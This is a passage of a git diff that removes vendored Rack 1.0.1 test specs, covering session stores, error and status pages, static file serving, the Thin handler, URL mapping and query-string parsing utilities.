Rack::Session::Memcache.new(incrementor) - req = Rack::MockRequest.new(pool) - res = req.get("/") - cookie = res["Set-Cookie"] - req.get("/", "HTTP_COOKIE" => cookie). - body.should.equal '{"counter"=>2}' - req.get("/", "HTTP_COOKIE" => cookie). - body.should.equal '{"counter"=>3}' - end - - specify "survives nonexistant cookies" do - bad_cookie = "rack.session=blarghfasel" - pool = Rack::Session::Memcache.new(incrementor) - res = Rack::MockRequest.new(pool). - get("/", "HTTP_COOKIE" => bad_cookie) - res.body.should.equal '{"counter"=>1}' - cookie = res["Set-Cookie"][session_match] - cookie.should.not.match(/#{bad_cookie}/) - end - - specify "maintains freshness" do - pool = Rack::Session::Memcache.new(incrementor, :expire_after => 3) - res = Rack::MockRequest.new(pool).get('/') - res.body.should.include '"counter"=>1' - cookie = res["Set-Cookie"] - res = Rack::MockRequest.new(pool).get('/', "HTTP_COOKIE" => cookie) - res["Set-Cookie"].should.equal cookie - res.body.should.include '"counter"=>2' - puts 'Sleeping to expire session' if $DEBUG - sleep 4 - res = Rack::MockRequest.new(pool).get('/', "HTTP_COOKIE" => cookie) - res["Set-Cookie"].should.not.equal cookie - res.body.should.include '"counter"=>1' - end - - specify "deletes cookies with :drop option" do - pool = Rack::Session::Memcache.new(incrementor) - req = Rack::MockRequest.new(pool) - drop = Rack::Utils::Context.new(pool, drop_session) - dreq = Rack::MockRequest.new(drop) - - res0 = req.get("/") - session = (cookie = res0["Set-Cookie"])[session_match] - res0.body.should.equal '{"counter"=>1}' - - res1 = req.get("/", "HTTP_COOKIE" => cookie) - res1["Set-Cookie"][session_match].should.equal session - res1.body.should.equal '{"counter"=>2}' - - res2 = dreq.get("/", "HTTP_COOKIE" => cookie) - res2["Set-Cookie"].should.equal nil - res2.body.should.equal '{"counter"=>3}' - - res3 = req.get("/", "HTTP_COOKIE" => cookie) - res3["Set-Cookie"][session_match].should.not.equal session - res3.body.should.equal '{"counter"=>1}' - end - - specify "provides new session id with :renew option" do - pool = Rack::Session::Memcache.new(incrementor) - req = Rack::MockRequest.new(pool) - renew = Rack::Utils::Context.new(pool, renew_session) - rreq = Rack::MockRequest.new(renew) - - res0 = req.get("/") - session = (cookie = res0["Set-Cookie"])[session_match] - res0.body.should.equal '{"counter"=>1}' - - res1 = req.get("/", "HTTP_COOKIE" => cookie) - res1["Set-Cookie"][session_match].should.equal session - res1.body.should.equal '{"counter"=>2}' - - res2 = rreq.get("/", "HTTP_COOKIE" => cookie) - new_cookie = res2["Set-Cookie"] - new_session = new_cookie[session_match] - new_session.should.not.equal session - res2.body.should.equal '{"counter"=>3}' - - res3 = req.get("/", "HTTP_COOKIE" => new_cookie) - res3["Set-Cookie"][session_match].should.equal new_session - res3.body.should.equal '{"counter"=>4}' - end - - specify "omits cookie with :defer option" do - pool = Rack::Session::Memcache.new(incrementor) - req = Rack::MockRequest.new(pool) - defer = Rack::Utils::Context.new(pool, defer_session) - dreq = Rack::MockRequest.new(defer) - - res0 = req.get("/") - session = (cookie = res0["Set-Cookie"])[session_match] - res0.body.should.equal '{"counter"=>1}' - - res1 = req.get("/", "HTTP_COOKIE" => cookie) - res1["Set-Cookie"][session_match].should.equal session - res1.body.should.equal '{"counter"=>2}' - - res2 = dreq.get("/", "HTTP_COOKIE" => cookie) - res2["Set-Cookie"].should.equal nil - res2.body.should.equal '{"counter"=>3}' - - res3 = req.get("/", "HTTP_COOKIE" => cookie) - res3["Set-Cookie"][session_match].should.equal session - res3.body.should.equal '{"counter"=>4}' - end - - # anyone know how to do this better? - specify "multithread: should cleanly merge sessions" do - next unless $DEBUG - warn 'Running multithread test for Session::Memcache' - pool = Rack::Session::Memcache.new(incrementor) - req = Rack::MockRequest.new(pool) - - res = req.get('/') - res.body.should.equal '{"counter"=>1}' - cookie = res["Set-Cookie"] - sess_id = cookie[/#{pool.key}=([^,;]+)/,1] - - delta_incrementor = lambda do |env| - # emulate disconjoinment of threading - env['rack.session'] = env['rack.session'].dup - Thread.stop - env['rack.session'][(Time.now.usec*rand).to_i] = true - incrementor.call(env) - end - tses = Rack::Utils::Context.new pool, delta_incrementor - treq = Rack::MockRequest.new(tses) - tnum = rand(7).to_i+5 - r = Array.new(tnum) do - Thread.new(treq) do |run| - run.get('/', "HTTP_COOKIE" => cookie, 'rack.multithread' => true) - end - end.reverse.map{|t| t.run.join.value } - r.each do |res| - res['Set-Cookie'].should.equal cookie - res.body.should.include '"counter"=>2' - end - - session = pool.pool.get(sess_id) - session.size.should.be tnum+1 # counter - session['counter'].should.be 2 # meeeh - - tnum = rand(7).to_i+5 - r = Array.new(tnum) do |i| - delta_time = proc do |env| - env['rack.session'][i] = Time.now - Thread.stop - env['rack.session'] = env['rack.session'].dup - env['rack.session'][i] -= Time.now - incrementor.call(env) - end - app = Rack::Utils::Context.new pool, time_delta - req = Rack::MockRequest.new app - Thread.new(req) do |run| - run.get('/', "HTTP_COOKIE" => cookie, 'rack.multithread' => true) - end - end.reverse.map{|t| t.run.join.value } - r.each do |res| - res['Set-Cookie'].should.equal cookie - res.body.should.include '"counter"=>3' - end - - session = pool.pool.get(sess_id) - session.size.should.be tnum+1 - session['counter'].should.be 3 - - drop_counter = proc do |env| - env['rack.session'].delete 'counter' - env['rack.session']['foo'] = 'bar' - [200, {'Content-Type'=>'text/plain'}, env['rack.session'].inspect] - end - tses = Rack::Utils::Context.new pool, drop_counter - treq = Rack::MockRequest.new(tses) - tnum = rand(7).to_i+5 - r = Array.new(tnum) do - Thread.new(treq) do |run| - run.get('/', "HTTP_COOKIE" => cookie, 'rack.multithread' => true) - end - end.reverse.map{|t| t.run.join.value } - r.each do |res| - res['Set-Cookie'].should.equal cookie - res.body.should.include '"foo"=>"bar"' - end - - session = pool.pool.get(sess_id) - session.size.should.be r.size+1 - session['counter'].should.be.nil? - session['foo'].should.equal 'bar' - end - end -rescue LoadError - $stderr.puts "Skipping Rack::Session::Memcache tests (Memcache is required). `gem install memcache-client` and try again." -end diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_session_pool.rb b/vendor/gems/rack-1.0.1/test/spec_rack_session_pool.rb deleted file mode 100644 index 6be382ec..00000000 --- a/vendor/gems/rack-1.0.1/test/spec_rack_session_pool.rb +++ /dev/null @@ -1,172 +0,0 @@ -require 'test/spec' - -require 'rack/session/pool' -require 'rack/mock' -require 'rack/response' -require 'thread' - -context "Rack::Session::Pool" do - session_key = Rack::Session::Pool::DEFAULT_OPTIONS[:key] - session_match = /#{session_key}=[0-9a-fA-F]+;/ - incrementor = lambda do |env| - env["rack.session"]["counter"] ||= 0 - env["rack.session"]["counter"] += 1 - Rack::Response.new(env["rack.session"].inspect).to_a - end - drop_session = proc do |env| - env['rack.session.options'][:drop] = true - incrementor.call(env) - end - renew_session = proc do |env| - env['rack.session.options'][:renew] = true - incrementor.call(env) - end - defer_session = proc do |env| - env['rack.session.options'][:defer] = true - incrementor.call(env) - end - - specify "creates a new cookie" do - pool = Rack::Session::Pool.new(incrementor) - res = Rack::MockRequest.new(pool).get("/") - res["Set-Cookie"].should.match session_match - res.body.should.equal '{"counter"=>1}' - end - - specify "determines session from a cookie" do - pool = Rack::Session::Pool.new(incrementor) - req = Rack::MockRequest.new(pool) - cookie = req.get("/")["Set-Cookie"] - req.get("/", "HTTP_COOKIE" => cookie). - body.should.equal '{"counter"=>2}' - req.get("/", "HTTP_COOKIE" => cookie). - body.should.equal '{"counter"=>3}' - end - - specify "survives nonexistant cookies" do - pool = Rack::Session::Pool.new(incrementor) - res = Rack::MockRequest.new(pool). - get("/", "HTTP_COOKIE" => "#{session_key}=blarghfasel") - res.body.should.equal '{"counter"=>1}' - end - - specify "deletes cookies with :drop option" do - pool = Rack::Session::Pool.new(incrementor) - req = Rack::MockRequest.new(pool) - drop = Rack::Utils::Context.new(pool, drop_session) - dreq = Rack::MockRequest.new(drop) - - res0 = req.get("/") - session = (cookie = res0["Set-Cookie"])[session_match] - res0.body.should.equal '{"counter"=>1}' - pool.pool.size.should.be 1 - - res1 = req.get("/", "HTTP_COOKIE" => cookie) - res1["Set-Cookie"][session_match].should.equal session - res1.body.should.equal '{"counter"=>2}' - pool.pool.size.should.be 1 - - res2 = dreq.get("/", "HTTP_COOKIE" => cookie) - res2["Set-Cookie"].should.equal nil - res2.body.should.equal '{"counter"=>3}' - pool.pool.size.should.be 0 - - res3 = req.get("/", "HTTP_COOKIE" => cookie) - res3["Set-Cookie"][session_match].should.not.equal session - res3.body.should.equal '{"counter"=>1}' - pool.pool.size.should.be 1 - end - - specify "provides new session id with :renew option" do - pool = Rack::Session::Pool.new(incrementor) - req = Rack::MockRequest.new(pool) - renew = Rack::Utils::Context.new(pool, renew_session) - rreq = Rack::MockRequest.new(renew) - - res0 = req.get("/") - session = (cookie = res0["Set-Cookie"])[session_match] - res0.body.should.equal '{"counter"=>1}' - pool.pool.size.should.be 1 - - res1 = req.get("/", "HTTP_COOKIE" => cookie) - res1["Set-Cookie"][session_match].should.equal session - res1.body.should.equal '{"counter"=>2}' - pool.pool.size.should.be 1 - - res2 = rreq.get("/", "HTTP_COOKIE" => cookie) - new_cookie = res2["Set-Cookie"] - new_session = new_cookie[session_match] - new_session.should.not.equal session - res2.body.should.equal '{"counter"=>3}' - pool.pool.size.should.be 1 - - res3 = req.get("/", "HTTP_COOKIE" => new_cookie) - res3["Set-Cookie"][session_match].should.equal new_session - res3.body.should.equal '{"counter"=>4}' - pool.pool.size.should.be 1 - end - - specify "omits cookie with :defer option" do - pool = Rack::Session::Pool.new(incrementor) - req = Rack::MockRequest.new(pool) - defer = Rack::Utils::Context.new(pool, defer_session) - dreq = Rack::MockRequest.new(defer) - - res0 = req.get("/") - session = (cookie = res0["Set-Cookie"])[session_match] - res0.body.should.equal '{"counter"=>1}' - pool.pool.size.should.be 1 - - res1 = req.get("/", "HTTP_COOKIE" => cookie) - res1["Set-Cookie"][session_match].should.equal session - res1.body.should.equal '{"counter"=>2}' - pool.pool.size.should.be 1 - - res2 = dreq.get("/", "HTTP_COOKIE" => cookie) - res2["Set-Cookie"].should.equal nil - res2.body.should.equal '{"counter"=>3}' - pool.pool.size.should.be 1 - - res3 = req.get("/", "HTTP_COOKIE" => cookie) - res3["Set-Cookie"][session_match].should.equal session - res3.body.should.equal '{"counter"=>4}' - pool.pool.size.should.be 1 - end - - # anyone know how to do this better? - specify "multithread: should merge sessions" do - next unless $DEBUG - warn 'Running multithread tests for Session::Pool' - pool = Rack::Session::Pool.new(incrementor) - req = Rack::MockRequest.new(pool) - - res = req.get('/') - res.body.should.equal '{"counter"=>1}' - cookie = res["Set-Cookie"] - sess_id = cookie[/#{pool.key}=([^,;]+)/,1] - - delta_incrementor = lambda do |env| - # emulate disconjoinment of threading - env['rack.session'] = env['rack.session'].dup - Thread.stop - env['rack.session'][(Time.now.usec*rand).to_i] = true - incrementor.call(env) - end - tses = Rack::Utils::Context.new pool, delta_incrementor - treq = Rack::MockRequest.new(tses) - tnum = rand(7).to_i+5 - r = Array.new(tnum) do - Thread.new(treq) do |run| - run.get('/', "HTTP_COOKIE" => cookie, 'rack.multithread' => true) - end - end.reverse.map{|t| t.run.join.value } - r.each do |res| - res['Set-Cookie'].should.equal cookie - res.body.should.include '"counter"=>2' - end - - session = pool.pool[sess_id] - session.size.should.be tnum+1 # counter - session['counter'].should.be 2 # meeeh - end -end diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_showexceptions.rb b/vendor/gems/rack-1.0.1/test/spec_rack_showexceptions.rb deleted file mode 100644 index bdbc1201..00000000 --- a/vendor/gems/rack-1.0.1/test/spec_rack_showexceptions.rb +++ /dev/null @@ -1,21 +0,0 @@ -require 'test/spec' - -require 'rack/showexceptions' -require 'rack/mock' - -context "Rack::ShowExceptions" do - specify "catches exceptions" do - res = nil - req = Rack::MockRequest.new(Rack::ShowExceptions.new(lambda { |env| - raise RuntimeError - })) - lambda { - res = req.get("/") - }.should.not.raise - res.should.be.a.server_error - res.status.should.equal 500 - - res.should =~ /RuntimeError/ - res.should =~ /ShowExceptions/ - end -end diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_showstatus.rb b/vendor/gems/rack-1.0.1/test/spec_rack_showstatus.rb deleted file mode 100644 index 78700134..00000000 --- a/vendor/gems/rack-1.0.1/test/spec_rack_showstatus.rb +++ /dev/null @@ -1,72 +0,0 @@ -require 'test/spec' - -require 'rack/showstatus' -require 'rack/mock' - -context "Rack::ShowStatus" do - specify "should provide a default status message" do - req = Rack::MockRequest.new(Rack::ShowStatus.new(lambda { |env| - [404, {"Content-Type" => "text/plain", "Content-Length" => "0"}, []] - })) - - res = req.get("/", :lint => true) - res.should.be.not_found - res.should.be.not.empty - - res["Content-Type"].should.equal("text/html") - res.should =~ /404/ - res.should =~ /Not Found/ - end - - specify "should let the app provide additional information" do - req = Rack::MockRequest.new(Rack::ShowStatus.new(lambda { |env| - env["rack.showstatus.detail"] = "gone too meta." - [404, {"Content-Type" => "text/plain", "Content-Length" => "0"}, []] - })) - - res = req.get("/", :lint => true) - res.should.be.not_found - res.should.be.not.empty - - res["Content-Type"].should.equal("text/html") - res.should =~ /404/ - res.should =~ /Not Found/ - res.should =~ /too meta/ - end - - specify "should not replace existing messages" do - req = Rack::MockRequest.new(Rack::ShowStatus.new(lambda { |env| - [404, {"Content-Type" => "text/plain", "Content-Length" => "4"}, ["foo!"]] - })) - res = req.get("/", :lint => true) - res.should.be.not_found - - res.body.should == "foo!" - end - - specify "should pass on original headers" do - headers = {"WWW-Authenticate" => "Basic blah"} - - req = Rack::MockRequest.new(Rack::ShowStatus.new(lambda { |env| [401, headers, []] })) - res = req.get("/", :lint => true) - - res["WWW-Authenticate"].should.equal("Basic blah") - end - - specify "should replace existing messages if there is detail" do - req = Rack::MockRequest.new(Rack::ShowStatus.new(lambda { |env| - env["rack.showstatus.detail"] = "gone too meta." - [404, {"Content-Type" => "text/plain", "Content-Length" => "4"}, ["foo!"]] - })) - - res = req.get("/", :lint => true) - res.should.be.not_found - res.should.be.not.empty - - res["Content-Type"].should.equal("text/html") - res["Content-Length"].should.not.equal("4") - res.should =~ /404/ - res.should =~ /too meta/ - res.body.should.not =~ /foo/ - end -end diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_static.rb b/vendor/gems/rack-1.0.1/test/spec_rack_static.rb deleted file mode 100644 index 19d2ecb7..00000000 --- a/vendor/gems/rack-1.0.1/test/spec_rack_static.rb +++ /dev/null @@ -1,37 +0,0 @@ -require 'test/spec' - -require 'rack/static' -require 'rack/mock' - -class DummyApp - def call(env) - [200, {}, ["Hello World"]] - end -end - -context "Rack::Static" do - root = File.expand_path(File.dirname(__FILE__)) - OPTIONS = {:urls => ["/cgi"], :root => root} - - setup do - @request = Rack::MockRequest.new(Rack::Static.new(DummyApp.new, OPTIONS)) - end - - specify "serves files" do - res = @request.get("/cgi/test") - res.should.be.ok - res.body.should =~ /ruby/ - end - - specify "404s if url root is known but it can't find the file" do - res = @request.get("/cgi/foo") - res.should.be.not_found - end - - specify "calls down the chain if url root is not known" do - res = @request.get("/something/else") - res.should.be.ok - res.body.should == "Hello World" - end - -end diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_thin.rb b/vendor/gems/rack-1.0.1/test/spec_rack_thin.rb deleted file mode 100644 index 324f6498..00000000 --- a/vendor/gems/rack-1.0.1/test/spec_rack_thin.rb +++ /dev/null @@ -1,91 +0,0 @@ -require 'test/spec' - -begin -require 'rack/handler/thin' -require 'testrequest' -require 'timeout' - -context "Rack::Handler::Thin" do - include TestRequest::Helpers - - setup do - @app = Rack::Lint.new(TestRequest.new) - @server = nil - Thin::Logging.silent = true - @thread = Thread.new do - Rack::Handler::Thin.run(@app, :Host => @host='0.0.0.0', :Port => @port=9204) do |server| - @server = server - end - end - Thread.pass until @server && @server.running? - end - - specify "should respond" do - lambda { - GET("/") - }.should.not.raise - end - - specify "should be a Thin" do - GET("/") - status.should.be 200 - response["SERVER_SOFTWARE"].should =~ /thin/ - response["HTTP_VERSION"].should.equal "HTTP/1.1" - response["SERVER_PROTOCOL"].should.equal "HTTP/1.1" - response["SERVER_PORT"].should.equal "9204" - response["SERVER_NAME"].should.equal "0.0.0.0" - end - - specify "should have rack headers" do - GET("/") - response["rack.version"].should.equal [0,3] - response["rack.multithread"].should.be false - response["rack.multiprocess"].should.be false - response["rack.run_once"].should.be false - end - - specify "should have CGI headers on GET" do - GET("/") - response["REQUEST_METHOD"].should.equal "GET" - response["REQUEST_PATH"].should.equal "/" - response["PATH_INFO"].should.be.equal "/" - response["QUERY_STRING"].should.equal "" - response["test.postdata"].should.equal "" - - GET("/test/foo?quux=1") - response["REQUEST_METHOD"].should.equal "GET" - response["REQUEST_PATH"].should.equal "/test/foo" - response["PATH_INFO"].should.equal "/test/foo" - response["QUERY_STRING"].should.equal "quux=1" - end - - specify "should have CGI headers on POST" do - POST("/", {"rack-form-data" => "23"}, {'X-test-header' => '42'}) - status.should.equal 200 - response["REQUEST_METHOD"].should.equal "POST" - response["REQUEST_PATH"].should.equal "/" - response["QUERY_STRING"].should.equal "" - response["HTTP_X_TEST_HEADER"].should.equal "42" - response["test.postdata"].should.equal "rack-form-data=23" - end - - specify "should support HTTP auth" do - GET("/test", {:user => "ruth", :passwd => "secret"}) - response["HTTP_AUTHORIZATION"].should.equal "Basic cnV0aDpzZWNyZXQ=" - end - - specify "should set status" do - GET("/test?secret") - status.should.equal 403 - response["rack.url_scheme"].should.equal "http" - end - - teardown do - @server.stop! - @thread.kill - end -end - -rescue LoadError - $stderr.puts "Skipping Rack::Handler::Thin tests (Thin is required). `gem install thin` and try again." -end diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_urlmap.rb b/vendor/gems/rack-1.0.1/test/spec_rack_urlmap.rb deleted file mode 100644 index 6c4d72ac..00000000 --- a/vendor/gems/rack-1.0.1/test/spec_rack_urlmap.rb +++ /dev/null @@ -1,185 +0,0 @@ -require 'test/spec' - -require 'rack/urlmap' -require 'rack/mock' - -context "Rack::URLMap" do - specify "dispatches paths correctly" do - app = lambda { |env| - [200, { - 'X-ScriptName' => env['SCRIPT_NAME'], - 'X-PathInfo' => env['PATH_INFO'], - 'Content-Type' => 'text/plain' - }, [""]] - } - map = Rack::URLMap.new({ - 'http://foo.org/bar' => app, - '/foo' => app, - '/foo/bar' => app - }) - - res = Rack::MockRequest.new(map).get("/") - res.should.be.not_found - - res = Rack::MockRequest.new(map).get("/qux") - res.should.be.not_found - - res = Rack::MockRequest.new(map).get("/foo") - res.should.be.ok - res["X-ScriptName"].should.equal "/foo" - res["X-PathInfo"].should.equal "" - - res = Rack::MockRequest.new(map).get("/foo/") - res.should.be.ok - res["X-ScriptName"].should.equal "/foo" - res["X-PathInfo"].should.equal "/" - - res = Rack::MockRequest.new(map).get("/foo/bar") - res.should.be.ok - res["X-ScriptName"].should.equal "/foo/bar" - res["X-PathInfo"].should.equal "" - - res = Rack::MockRequest.new(map).get("/foo/bar/") - res.should.be.ok - res["X-ScriptName"].should.equal "/foo/bar" - res["X-PathInfo"].should.equal "/" - - res = Rack::MockRequest.new(map).get("/foo/quux", "SCRIPT_NAME" => "/bleh") - res.should.be.ok - res["X-ScriptName"].should.equal "/bleh/foo" - res["X-PathInfo"].should.equal "/quux" - - res = Rack::MockRequest.new(map).get("/bar", 'HTTP_HOST' => 'foo.org') - res.should.be.ok - res["X-ScriptName"].should.equal "/bar" - res["X-PathInfo"].should.be.empty - - res = Rack::MockRequest.new(map).get("/bar/", 'HTTP_HOST' => 'foo.org') - res.should.be.ok - res["X-ScriptName"].should.equal "/bar" - res["X-PathInfo"].should.equal '/' - end - - - specify "dispatches hosts correctly" do - map = Rack::URLMap.new("http://foo.org/" => lambda { |env| - [200, - { "Content-Type" => "text/plain", - "X-Position" => "foo.org", - "X-Host" => env["HTTP_HOST"] || env["SERVER_NAME"], - }, [""]]}, - "http://subdomain.foo.org/" => lambda { |env| - [200, - { "Content-Type" => "text/plain", - "X-Position" => "subdomain.foo.org", - "X-Host" => env["HTTP_HOST"] || env["SERVER_NAME"], - }, [""]]}, - "http://bar.org/" => lambda { |env| - [200, - { "Content-Type" => "text/plain", - "X-Position" => "bar.org", - "X-Host" => env["HTTP_HOST"] || env["SERVER_NAME"], - }, [""]]}, - "/" => lambda { |env| - [200, - { "Content-Type" => "text/plain", - "X-Position" => "default.org", - "X-Host" => env["HTTP_HOST"] || env["SERVER_NAME"], - }, [""]]} - ) - - res = Rack::MockRequest.new(map).get("/") - res.should.be.ok - res["X-Position"].should.equal "default.org" - - res = Rack::MockRequest.new(map).get("/", "HTTP_HOST" => "bar.org") - res.should.be.ok - res["X-Position"].should.equal "bar.org" - - res = Rack::MockRequest.new(map).get("/", "HTTP_HOST" => "foo.org") - res.should.be.ok - res["X-Position"].should.equal "foo.org" - - res = Rack::MockRequest.new(map).get("/", "HTTP_HOST" => "subdomain.foo.org", "SERVER_NAME" => "foo.org") - res.should.be.ok - res["X-Position"].should.equal "subdomain.foo.org" - - res = Rack::MockRequest.new(map).get("http://foo.org/") - res.should.be.ok - res["X-Position"].should.equal "default.org" - - res = Rack::MockRequest.new(map).get("/", "HTTP_HOST" => "example.org") - res.should.be.ok - res["X-Position"].should.equal "default.org" - - res = Rack::MockRequest.new(map).get("/", - "HTTP_HOST" => "example.org:9292", - "SERVER_PORT" => "9292") - res.should.be.ok - res["X-Position"].should.equal "default.org" - end - - specify "should be nestable" do - map = Rack::URLMap.new("/foo" => - Rack::URLMap.new("/bar" => - Rack::URLMap.new("/quux" => lambda { |env| - [200, - { "Content-Type" => "text/plain", - "X-Position" => "/foo/bar/quux", - "X-PathInfo" => env["PATH_INFO"], - "X-ScriptName" => env["SCRIPT_NAME"], - }, [""]]} - ))) - - res = Rack::MockRequest.new(map).get("/foo/bar") - res.should.be.not_found - - res = Rack::MockRequest.new(map).get("/foo/bar/quux") - res.should.be.ok - res["X-Position"].should.equal "/foo/bar/quux" - res["X-PathInfo"].should.equal "" - res["X-ScriptName"].should.equal "/foo/bar/quux" - end - - specify "should route root apps correctly" do - map = Rack::URLMap.new("/" => lambda { |env| - [200, - { "Content-Type" => "text/plain", - "X-Position" => "root", - "X-PathInfo" => env["PATH_INFO"], - "X-ScriptName" => env["SCRIPT_NAME"] - }, [""]]}, - "/foo" => lambda { |env| - [200, - { "Content-Type" => "text/plain", - "X-Position" => "foo", - "X-PathInfo" => env["PATH_INFO"], - "X-ScriptName" => env["SCRIPT_NAME"] - }, [""]]} - ) - - res = Rack::MockRequest.new(map).get("/foo/bar") - res.should.be.ok - res["X-Position"].should.equal "foo" - res["X-PathInfo"].should.equal "/bar" - res["X-ScriptName"].should.equal "/foo" - - res = Rack::MockRequest.new(map).get("/foo") - res.should.be.ok - res["X-Position"].should.equal "foo" - res["X-PathInfo"].should.equal "" - res["X-ScriptName"].should.equal "/foo" - - res = Rack::MockRequest.new(map).get("/bar") - res.should.be.ok - res["X-Position"].should.equal "root" - res["X-PathInfo"].should.equal "/bar" - res["X-ScriptName"].should.equal "" - - res = Rack::MockRequest.new(map).get("") - res.should.be.ok - res["X-Position"].should.equal "root" - res["X-PathInfo"].should.equal "/" - res["X-ScriptName"].should.equal "" - end -end diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_utils.rb b/vendor/gems/rack-1.0.1/test/spec_rack_utils.rb deleted file mode 100644 index f270e87e..00000000 --- a/vendor/gems/rack-1.0.1/test/spec_rack_utils.rb +++ /dev/null @@ -1,387 +0,0 @@ -require 'test/spec' - -require 'rack/utils' -require 'rack/lint' -require 'rack/mock' - -context "Rack::Utils" do - specify "should escape correctly" do - Rack::Utils.escape("fobar").should.equal "fo%3Co%3Ebar" - Rack::Utils.escape("a space").should.equal "a+space" - Rack::Utils.escape("q1!2\"'w$5&7/z8)?\\"). - should.equal "q1%212%22%27w%245%267%2Fz8%29%3F%5C" - end - - specify "should escape correctly for multibyte characters" do - matz_name = "\xE3\x81\xBE\xE3\x81\xA4\xE3\x82\x82\xE3\x81\xA8".unpack("a*")[0] # Matsumoto - matz_name.force_encoding("UTF-8") if matz_name.respond_to? :force_encoding - Rack::Utils.escape(matz_name).should.equal '%E3%81%BE%E3%81%A4%E3%82%82%E3%81%A8' - matz_name_sep = "\xE3\x81\xBE\xE3\x81\xA4 \xE3\x82\x82\xE3\x81\xA8".unpack("a*")[0] # Matsu moto - matz_name_sep.force_encoding("UTF-8") if matz_name_sep.respond_to? :force_encoding - Rack::Utils.escape(matz_name_sep).should.equal '%E3%81%BE%E3%81%A4+%E3%82%82%E3%81%A8' - end - - specify "should unescape correctly" do - Rack::Utils.unescape("fo%3Co%3Ebar").should.equal "fobar" - Rack::Utils.unescape("a+space").should.equal "a space" - Rack::Utils.unescape("a%20space").should.equal "a space" - Rack::Utils.unescape("q1%212%22%27w%245%267%2Fz8%29%3F%5C"). - should.equal "q1!2\"'w$5&7/z8)?\\" - end - - specify "should parse query strings correctly" do - Rack::Utils.parse_query("foo=bar").should.equal "foo" => "bar" - Rack::Utils.parse_query("foo=bar&foo=quux"). - should.equal "foo" => ["bar", "quux"] - Rack::Utils.parse_query("foo=1&bar=2"). - should.equal "foo" => "1", "bar" => "2" - Rack::Utils.parse_query("my+weird+field=q1%212%22%27w%245%267%2Fz8%29%3F"). - should.equal "my weird field" => "q1!2\"'w$5&7/z8)?" - Rack::Utils.parse_query("foo%3Dbaz=bar").should.equal "foo=baz" => "bar" - end - - specify "should parse nested query strings correctly" do - Rack::Utils.parse_nested_query("foo"). - should.equal "foo" => nil - Rack::Utils.parse_nested_query("foo="). - should.equal "foo" => "" - Rack::Utils.parse_nested_query("foo=bar"). - should.equal "foo" => "bar" - - Rack::Utils.parse_nested_query("foo=bar&foo=quux"). - should.equal "foo" => "quux" - Rack::Utils.parse_nested_query("foo&foo="). - should.equal "foo" => "" - Rack::Utils.parse_nested_query("foo=1&bar=2"). - should.equal "foo" => "1", "bar" => "2" - Rack::Utils.parse_nested_query("&foo=1&&bar=2"). - should.equal "foo" => "1", "bar" => "2" - Rack::Utils.parse_nested_query("foo&bar="). - should.equal "foo" => nil, "bar" => "" - Rack::Utils.parse_nested_query("foo=bar&baz="). - should.equal "foo" => "bar", "baz" => "" - Rack::Utils.parse_nested_query("my+weird+field=q1%212%22%27w%245%267%2Fz8%29%3F"). - should.equal "my weird field" => "q1!2\"'w$5&7/z8)?" - - Rack::Utils.parse_nested_query("foo[]"). - should.equal "foo" => [nil] - Rack::Utils.parse_nested_query("foo[]="). - should.equal "foo" => [""] - Rack::Utils.parse_nested_query("foo[]=bar"). - should.equal "foo" => ["bar"] - - Rack::Utils.parse_nested_query("foo[]=1&foo[]=2"). - should.equal "foo" => ["1", "2"] - Rack::Utils.parse_nested_query("foo=bar&baz[]=1&baz[]=2&baz[]=3"). - should.equal "foo" => "bar", "baz" => ["1", "2", "3"] - Rack::Utils.parse_nested_query("foo[]=bar&baz[]=1&baz[]=2&baz[]=3"). - should.equal "foo" => ["bar"], "baz" => ["1", "2", "3"] - - Rack::Utils.parse_nested_query("x[y][z]=1"). - should.equal "x" => {"y" => {"z" => "1"}} - Rack::Utils.parse_nested_query("x[y][z][]=1"). - should.equal "x" => {"y" => {"z" => ["1"]}} - Rack::Utils.parse_nested_query("x[y][z]=1&x[y][z]=2"). - should.equal "x" => {"y" => {"z" => "2"}} - Rack::Utils.parse_nested_query("x[y][z][]=1&x[y][z][]=2"). - should.equal "x" => {"y" => {"z" => ["1", "2"]}} - - Rack::Utils.parse_nested_query("x[y][][z]=1"). - should.equal "x" => {"y" => [{"z" => "1"}]} - Rack::Utils.parse_nested_query("x[y][][z][]=1"). - should.equal "x" => {"y" => [{"z" => ["1"]}]} - Rack::Utils.parse_nested_query("x[y][][z]=1&x[y][][w]=2"). - should.equal "x" => {"y" => [{"z" => "1", "w" => "2"}]} - - Rack::Utils.parse_nested_query("x[y][][v][w]=1"). - should.equal "x" => {"y" => [{"v" => {"w" => "1"}}]} - Rack::Utils.parse_nested_query("x[y][][z]=1&x[y][][v][w]=2"). - should.equal "x" => {"y" => [{"z" => "1", "v" => {"w" => "2"}}]} - - Rack::Utils.parse_nested_query("x[y][][z]=1&x[y][][z]=2"). - should.equal "x" => {"y" => [{"z" => "1"}, {"z" => "2"}]} - Rack::Utils.parse_nested_query("x[y][][z]=1&x[y][][w]=a&x[y][][z]=2&x[y][][w]=3"). - should.equal "x" => {"y" => [{"z" => "1", "w" => "a"}, {"z" => "2", "w" => "3"}]} - - lambda { Rack::Utils.parse_nested_query("x[y]=1&x[y]z=2") }. - should.raise(TypeError). - message.should.equal "expected Hash (got String) for param `y'" - - lambda { Rack::Utils.parse_nested_query("x[y]=1&x[]=1") }. - should.raise(TypeError). - message.should.equal "expected Array (got Hash) for param `x'" - - lambda { Rack::Utils.parse_nested_query("x[y]=1&x[y][][w]=2") }. - should.raise(TypeError). - message.should.equal "expected Array (got String) for param `y'" - end - - specify "should build query strings correctly" do - Rack::Utils.build_query("foo" => "bar").should.equal "foo=bar" - Rack::Utils.build_query("foo" => ["bar", "quux"]). - should.equal "foo=bar&foo=quux" - Rack::Utils.build_query("foo" => "1", "bar" => "2"). - should.equal "foo=1&bar=2" - Rack::Utils.build_query("my weird field" => "q1!2\"'w$5&7/z8)?"). - should.equal "my+weird+field=q1%212%22%27w%245%267%2Fz8%29%3F" - end - - specify "should figure out which encodings are acceptable" do - helper = lambda do |a, b| - request = Rack::Request.new(Rack::MockRequest.env_for("", "HTTP_ACCEPT_ENCODING" => a)) - Rack::Utils.select_best_encoding(a, b) - end - - helper.call(%w(), [["x", 1]]).should.equal(nil) - helper.call(%w(identity), [["identity", 0.0]]).should.equal(nil) - helper.call(%w(identity), [["*", 0.0]]).should.equal(nil) - - 